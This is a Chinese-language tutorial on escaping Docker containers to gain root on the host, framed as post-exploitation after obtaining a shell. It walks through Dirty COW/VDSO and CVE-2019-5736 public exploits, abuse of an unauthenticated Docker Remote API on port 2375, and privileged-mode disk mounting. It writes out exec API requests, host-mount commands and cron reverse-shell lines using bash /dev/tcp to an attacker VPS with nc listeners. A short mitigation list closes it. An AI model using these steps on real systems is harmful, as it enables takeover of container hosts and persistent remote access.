漏洞复现-docker容器逃逸与研究

前言

获取某个系统shell后发现其是docker
这时候我们就需要进行docker逃逸来拿到其真正宿主的权限。

三种方法

利用dirty cow来进行docker逃逸

利用前提

利用成功的前提是，宿主机的内核有dirty cow漏洞

前置知识

Linux中VDSO(virtual dvnamic shared object)小型共享库
将内核中的.so文件映射到到所有用户程序的内存地址空间，
.so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件， 可以理解成将内核中的函数映射到内存中，方便大家访问。

利用dirty cow与VDSO来实现docker逃逸的过程

dirty cow漏洞可以让我们获取只读内存的写的权限，
我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中，
然后改变函数的执行顺序，使得调用正常的任意函数之前都要执行这段shellcode。
这段shellcode初始化的时候会检查是否是被root调用，
如果是则继续执行，如果不是，则接着执行clock_gettime函数，
接下来它会检测/tmp/.X文件的存在，如果存在，则这时已经是root权限了，
然后它会打开一个反向的TCP链接，为Shellcode中填写的ip返回一个Shell。(获取宿主机shell) 

判断是否为docker环境

docker环境中根目录下存在此文件

ls -alh /.dockerenv   

查看系统进程的cgroup信息

在Linux内核中，容器（container）这个名词有许多不同的意义，为避免混乱，被重命名为cgroup
对进程进程分组,比如Sessiongroup、process group等,
需要追踪一组进程的内存和IO使用情况,出现了cgroup,用来统一对进程进行分组,并在分组的基础上对进程进程监控和资源分配。

对于容器技术而言，它实现资源层面上的限制和隔离，
依赖于 Linux 内核所提供的 cgroup 和 namespace 技术

 cat /proc/1/cgroup

下载脚本

如果没有 git与curl
那么就用shell文件管理传上去 用unzip和tar 解压

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

如果docker 无make

cat /etc/centos-release
CentOS Linux release 7.9.2009 (Core)


nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [payload] Error 127


yum install nasm

[root@VM-24-12-centos docker]# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread


会出现 bash: ./1: No such file or directory  链接库依赖问题
改为 
/dirtycow-vdso >make
nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [Makefile:16: payload] Error 127

/dirtycow-vdso >apk add nasm
(1/1) Installing nasm (2.13.03-r0)
Executing busybox-1.29.3-r10.trigger
OK: 154 MiB in 64 packages

利用脚本

chmod 777 0xdeadbeef
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

利用结果

直接反弹宿主机的shell到127.0.0.1如图所示

在根目录内创建一个任意文件。
查看是否漏洞被利用成功。

cve-2019-5736

利用原理与条件

通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。
利用条件为：

runc版本<=1.0-rc6
Docker Version < 18.09.2

漏洞触发过程

修改利用脚本中的反弹shell命令，
使用go build来编译脚本，
将脚本上传到docker中，
等待宿主机执行exec进入当前docker容器
宿主机就会向我们的vps反弹root权限的shell。

下载利用脚本并修改

git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

下图中的选中部分修改 后面的命令为反弹shell命令即可。

编译脚本

go build main.go

将编译好的main文件上传到docker中

可以先上传到github然后在docker到shell中使用git clone命令即可

执行脚本并等待此docker再次被exec

docker exec -it test /bin/bash

当宿主机上执行exec命令来进入我们运行了脚本的容器的时候，
宿主机就会反弹root权限的shell给我们的vps的监听端口，至此利用结束。

docker配置不当

docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。
主从管理、默认通过2375端口通信。
绑定了一个Docker Remote API的服务，
可以通过HTTP、Python、调用API来操作Docker。

确定docker remote api是否可访问

http://ip:2375/version

漏洞利用

访问http://ip:2375/containers/json看是否出现以下画面：

创建一个包，得到返回的exec_id的参数，数据包内容如下：

 POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
    
    
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}
 

注意其中的cmd字段，这个就是要执行的命令。

得到exec_id参数后构造第二个exec_start数据包，内容如下：

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
    
    
“Detach”: false,
“Tty”: false
}

成功获取到docker主机的命令执行权限，但是还无法逃逸到宿主机。

在docker容器内安装docker作为client

    apt-get install docker.io
    yum -y install docker 

查看宿主机的docker image信息

   docker -H tcp://宿主机ip:2375 images

启动一个容器并且将宿主机的根目录抓到容器的某个目录

docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash

上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

写一个计划任务反弹shell(或者写.ssh公钥都OK)

echo ‘* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1’ >> /test/var/spool/cron/root

在vps上使用nc命令等待反弹过来的shell

nc -lvp 8888 

利用特权模式逃逸

漏洞原理

使用特权模式启动容器，可以获取大量设备文件访问权限。
因为当管理员执行docker run —privileged时，
Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。

漏洞利用

查看磁盘文件

 fdisk -l

将/dev/vda1也就是磁盘挂在到本地的任意文件下

mkdir /nuoyan
mount /dev/vda1 /nuoyan

此时这个nuoyan文件夹就相当于对方主机的根目录，可以进行写文件操作。

写入计划任务

 echo ‘* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1’ >> /nuoyan/var/spool/cron/root

在vps上等待shell反连接

nc -lvp 8888

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 >1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛)，未找到docker逃逸利用过程，但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged（特权模式）启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动，SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作，存在容器逃逸风险